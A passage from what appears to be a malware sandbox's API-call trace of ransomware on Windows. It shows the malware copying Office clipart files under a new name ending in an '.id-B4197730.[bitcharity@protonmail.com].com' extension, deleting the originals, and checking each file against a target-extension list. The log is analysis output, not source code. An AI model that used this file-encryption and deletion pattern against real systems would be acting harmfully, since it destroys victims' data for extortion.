Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0152.722] GetLastError () returned 0x0 [0152.722] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x4354, lpOverlapped=0x0) returned 1 [0152.777] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x4360, lpOverlapped=0x0) returned 1 [0152.779] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.779] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.779] SetEndOfFile (hFile=0x10e0) returned 1 [0152.779] CloseHandle (hObject=0x10e0) returned 1 [0153.560] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.560] SetEndOfFile (hFile=0x10e4) returned 1 [0153.561] CloseHandle (hObject=0x10e4) returned 1 [0153.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0153.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0153.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0153.563] lstrlenW (lpString=".doc") returned 4 [0153.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.563] lstrlenW (lpString=".docx") returned 5 [0153.563] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.563] lstrlenW (lpString=".pdf") returned 4 [0153.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.563] lstrlenW (lpString=".xls") returned 4 [0153.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.563] lstrlenW (lpString=".xlsx") returned 5 [0153.563] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.563] lstrlenW (lpString=".ppt") returned 4 [0153.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0153.563] lstrlenW (lpString=".zip") returned 4 [0153.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.563] lstrlenW (lpString=".rar") returned 4 [0153.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.563] lstrlenW (lpString=".bz2") returned 4 [0153.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.563] lstrlenW (lpString=".7z") returned 3 [0153.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0153.564] lstrlenW (lpString=".dbf") returned 4 [0153.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0153.564] lstrlenW (lpString=".1cd") returned 4 [0153.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0153.564] lstrlenW (lpString=".jpg") returned 4 [0153.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.564] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.564] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0153.565] GetLastError () returned 0x0 [0153.565] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x30e8, lpOverlapped=0x0) returned 1 [0153.581] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x30f0, lpOverlapped=0x0) returned 1 [0153.583] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.583] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0153.583] SetEndOfFile (hFile=0x10e0) returned 1 [0153.583] CloseHandle (hObject=0x10e0) returned 1 [0153.589] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.589] SetEndOfFile (hFile=0x10e4) returned 1 [0153.590] CloseHandle (hObject=0x10e4) returned 1 [0153.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0153.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0153.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0153.593] lstrlenW (lpString=".doc") returned 4 [0153.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.593] lstrlenW (lpString=".docx") returned 5 [0153.593] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.593] lstrlenW (lpString=".pdf") returned 4 [0153.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.593] lstrlenW (lpString=".xls") returned 4 [0153.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.593] lstrlenW (lpString=".xlsx") returned 5 [0153.593] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.593] lstrlenW (lpString=".ppt") returned 4 [0153.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0153.593] lstrlenW (lpString=".zip") returned 4 [0153.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.593] lstrlenW (lpString=".rar") returned 4 [0153.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.593] lstrlenW (lpString=".bz2") returned 4 [0153.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.593] lstrlenW (lpString=".7z") returned 3 [0153.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0153.594] lstrlenW (lpString=".dbf") returned 4 [0153.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0153.594] lstrlenW (lpString=".1cd") returned 4 [0153.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0153.594] lstrlenW (lpString=".jpg") returned 4 [0153.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.594] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.594] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0153.595] GetLastError () returned 0x0 [0153.595] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x1eb6, lpOverlapped=0x0) returned 1 [0153.739] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x1ec0, lpOverlapped=0x0) returned 1 [0153.740] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.740] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0153.741] SetEndOfFile (hFile=0x10e0) returned 1 [0153.741] CloseHandle (hObject=0x10e0) returned 1 [0153.750] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.750] SetEndOfFile (hFile=0x10e4) returned 1 [0153.751] CloseHandle (hObject=0x10e4) returned 1 [0153.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0153.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0153.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0153.753] lstrlenW (lpString=".doc") returned 4 [0153.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.753] lstrlenW (lpString=".docx") returned 5 [0153.753] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.753] lstrlenW (lpString=".pdf") returned 4 [0153.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.753] lstrlenW (lpString=".xls") returned 4 [0153.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.753] lstrlenW (lpString=".xlsx") returned 5 [0153.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.753] lstrlenW (lpString=".ppt") returned 4 [0153.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0153.753] lstrlenW (lpString=".zip") returned 4 [0153.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.753] lstrlenW (lpString=".rar") returned 4 [0153.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.753] lstrlenW (lpString=".bz2") returned 4 [0153.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.753] lstrlenW (lpString=".7z") returned 3 [0153.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0153.753] lstrlenW (lpString=".dbf") returned 4 [0153.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0153.753] lstrlenW (lpString=".1cd") returned 4 [0153.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0153.754] lstrlenW (lpString=".jpg") returned 4 [0153.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.754] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.754] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0153.755] GetLastError () returned 0x0 [0153.755] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x27a2, lpOverlapped=0x0) returned 1 [0153.773] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x27b0, lpOverlapped=0x0) returned 1 [0153.774] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.774] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0153.774] SetEndOfFile (hFile=0x10e0) returned 1 [0153.774] CloseHandle (hObject=0x10e0) returned 1 [0153.776] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.776] SetEndOfFile (hFile=0x10e4) returned 1 [0153.777] CloseHandle (hObject=0x10e4) returned 1 [0153.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0153.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0153.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0153.778] lstrlenW (lpString=".doc") returned 4 [0153.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.778] lstrlenW (lpString=".docx") returned 5 [0153.778] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.778] lstrlenW (lpString=".pdf") returned 4 [0153.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.778] lstrlenW (lpString=".xls") returned 4 [0153.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.778] lstrlenW (lpString=".xlsx") returned 5 [0153.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.778] lstrlenW (lpString=".ppt") returned 4 [0153.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0153.778] lstrlenW (lpString=".zip") returned 4 [0153.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.778] lstrlenW (lpString=".rar") returned 4 [0153.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.778] lstrlenW (lpString=".bz2") returned 4 [0153.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.778] lstrlenW (lpString=".7z") returned 3 [0153.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0153.779] lstrlenW (lpString=".dbf") returned 4 [0153.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0153.779] lstrlenW (lpString=".1cd") returned 4 [0153.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0153.779] lstrlenW (lpString=".jpg") returned 4 [0153.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.783] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.783] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0153.784] GetLastError () returned 0x0 [0153.784] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x5b8, lpOverlapped=0x0) returned 1 [0153.810] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x5c0, lpOverlapped=0x0) returned 1 [0153.812] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.812] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0153.812] SetEndOfFile (hFile=0x10e0) returned 1 [0153.812] CloseHandle (hObject=0x10e0) returned 1 [0153.815] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.815] SetEndOfFile (hFile=0x10e4) returned 1 [0153.816] CloseHandle (hObject=0x10e4) returned 1 [0153.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0153.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0153.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0153.818] lstrlenW (lpString=".doc") returned 4 [0153.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.818] lstrlenW (lpString=".docx") returned 5 [0153.818] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.818] lstrlenW (lpString=".pdf") returned 4 [0153.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.818] lstrlenW (lpString=".xls") returned 4 [0153.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.818] lstrlenW (lpString=".xlsx") returned 5 [0153.818] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.818] lstrlenW (lpString=".ppt") returned 4 [0153.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0153.818] lstrlenW (lpString=".zip") returned 4 [0153.818] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.818] lstrlenW (lpString=".rar") returned 4 [0153.818] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.818] lstrlenW (lpString=".bz2") returned 4 [0153.818] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.818] lstrlenW (lpString=".7z") returned 3 [0153.818] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0153.819] lstrlenW (lpString=".dbf") returned 4 [0153.819] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0153.819] lstrlenW (lpString=".1cd") returned 4 [0153.819] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0153.819] lstrlenW (lpString=".jpg") returned 4 [0153.819] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.820] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.820] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0153.821] GetLastError () returned 0x0 [0153.821] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x6a0, lpOverlapped=0x0) returned 1 [0154.618] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x6b0, lpOverlapped=0x0) returned 1 [0154.619] ReadFile (in: hFile=0x10e4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.619] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.619] SetEndOfFile (hFile=0x10e0) returned 1 [0154.620] CloseHandle (hObject=0x10e0) returned 1 [0154.678] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 